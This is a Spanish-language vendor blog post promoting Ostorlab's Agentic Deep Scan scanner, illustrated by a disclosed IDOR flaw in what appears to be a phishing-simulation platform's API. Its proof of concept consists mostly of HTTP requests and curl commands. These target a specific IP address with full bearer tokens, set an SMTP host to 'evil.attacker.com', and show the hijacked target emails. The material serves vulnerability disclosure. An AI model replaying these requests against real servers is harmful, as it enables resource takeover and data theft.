Ostorlab lanza Agentic Deep Scan: el escáner de vulnerabilidades de nueva generación

Nos complace anunciar Agentic Deep Scan, el nuevo escáner de vulnerabilidades de nueva generación de Ostorlab. No es simplemente otro escáner. Es un enfoque radicalmente distinto que simula ataques reales contra aplicaciones iOS, Android (próximamente harmonyOS) y web, y valida cada hallazgo en condiciones realistas.

Con la compatibilidad con Bring Your Own Key (BYOK), usted mantiene el control total de sus datos y del uso de la IA mientras explora este enfoque de escaneo de nueva generación.

Somos la única plataforma que hace esto de forma específica y profunda para aplicaciones móviles, al combinar la validación realista de exploits, el análisis entre componentes y evidencias a nivel de prueba de un modo que ninguna otra herramienta ofrece actualmente.

Cómo ofrece Agentic Deep Scan hallazgos accionables respaldados por pruebas

Los escáneres estándar identifican posibles problemas a partir de patrones o firmas. Agentic Deep Scan va un paso más allá: cada hallazgo se valida en condiciones reales, con evidencias a nivel de prueba: capturas de pantalla, registros de solicitudes y respuestas, registros del dispositivo y reproducción paso a paso, para que los equipos puedan centrarse en los riesgos que los atacantes podrían explotar realmente.

Hallazgos verificados de un escaneo de muestra

Agentic Deep Scan descubre riesgos reales y accionables en aplicaciones en producción. Por ejemplo, nuestro informe de muestra destaca 12 hallazgos críticos, entre ellos una omisión de autenticación JWT en VulnBank.org

La omisión de autenticación JWT en VulnBank.org permitía a los atacantes falsificar tokens con privilegios elevados (is_admin: true), lo que les daba acceso a endpoints exclusivos de administración como /admin/create_admin y /admin/approve_loan/{loan_id}.

Esto demuestra cómo pueden explotarse en condiciones reales las debilidades de autenticación y autorización, y cómo Agentic Deep Scan aporta evidencias a nivel de prueba para que los equipos puedan reproducir y corregir los problemas con confianza.

Vulnerabilidad real encontrada por Agentic Deep Scan

Agentic Deep Scan se ejecutó sobre aplicaciones reales y descubrió varias vulnerabilidades hasta entonces desconocidas. Algunos de los hallazgos siguen pendientes de corrección en proyectos populares de código abierto, lo que demuestra la eficacia del escáner y su impacto práctico.

Entre estos hallazgos, uno destacó por su severidad: un simple fallo de lógica de la API que permite la toma de control total de recursos. Así es como Agentic Deep Scan lo descubrió, lo explotó y demostró su impacto con evidencias concretas.

Descripción

Los endpoints de la API para crear recursos no validan que el parámetro 'id' de las solicitudes POST no esté ya asociado a un recurso existente. Cuando un atacante incluye el ID de un recurso existente en una solicitud POST, la aplicación transfiere la propiedad de ese recurso al atacante en lugar de crear un recurso nuevo. Esto permite el robo completo de materiales de phishing confidenciales, listas de correos electrónicos de objetivos (infracción del RGPD), páginas de captura de credenciales e infraestructura de envío de correo.

Causa raíz

Los endpoints de la API para crear recursos (POST /api/groups/, POST /api/templates/, POST /api/pages/, POST /api/smtp/) aceptan un parámetro id en el cuerpo de la solicitud sin validar si el ID ya pertenece al recurso de otro usuario. Cuando se proporciona un ID existente, la aplicación actualiza (secuestra) ese recurso en lugar de crear uno nuevo, y transfiere la propiedad al atacante autenticado.

Patrón de código vulnerable

Los manejadores de la API aceptan el cuerpo JSON completo, incluido el campo id:

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

El manejador procesa el JSON entrante directamente, sin eliminar ni validar el campo id, lo que permite la asignación masiva de ID de recursos existentes.

Evidencias de explotación

Paso 1 - El administrador crea un grupo de objetivos confidencial:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

Paso 2 - El atacante (user_b) secuestra el grupo especificando el ID 106:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

Paso 3 - Verificación de la transferencia de propiedad:

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

Otros endpoints confirmados como vulnerables:

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

Datos exfiltrados:

• Direcciones de correo electrónico de los objetivos: john.victim@testcorp.com, jane.target@testcorp.com, bob.doe@financial.com
• Plantilla de phishing con ID 113 y asunto «Urgent: Your Account Security»
• Página de destino con ID 60 con configuración de captura de credenciales
• Perfil de envío SMTP con ID 81

Evidencias de validación

Intento de validación 1

POST /api/groups/ con id=106 devolvió HTTP 201 Created, lo que transfirió la propiedad al atacante**

Intento de validación 2

POST /api/templates/ con id=113 devolvió HTTP 201 Created

Intento de validación 3

POST /api/pages/ con id=60 devolvió HTTP 201 Created

Intento de validación 4

POST /api/smtp/ con id=81 devolvió HTTP 201 Created

Intento de validación 5

El propietario original recibe HTTP 404 al acceder a los recursos secuestrados

Intento de validación 6

El atacante recibe HTTP 200 al acceder a los recursos robados

Intento de validación 7

Causa raíz

El endpoint POST /api/groups/ acepta y procesa el campo id de los cuerpos de solicitud JSON sin validar si el ID pertenece a un recurso existente de otro usuario. El backend utiliza directamente el ID proporcionado por el cliente, lo que provoca una transferencia de propiedad cuando el ID hace referencia al recurso de otro usuario.

Patrón de código vulnerable

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

Evidencias de explotación

Paso 1 - Línea base confirmada: el administrador es propietario del grupo 110 y el atacante no puede acceder a él:

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Respuesta: HTTP 200 - El grupo contiene 4 correos electrónicos de objetivos confidenciales

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Respuesta: HTTP 404 - {"message":"Group not found","success":false,"data":null}

Paso 2 - El atacante secuestra el grupo especificando un ID existente:

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

Respuesta: HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

Paso 3 - Transferencia de propiedad verificada:

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Respuesta: HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Respuesta: HTTP 200 - Datos completos del grupo, incluidos los objetivos originales:

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

Pruebe Agentic Deep Scan con BYOK (Bring Your Own Key)

Gracias a BYOK (Bring Your Own Key), puede probar Agentic Deep Scan con seguridad usando sus propias credenciales y manteniendo el control total de sus datos y costes, lo que facilita explorar este enfoque de escaneo de nueva generación en sus aplicaciones.

Más información sobre Agentic Deep Scan :
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan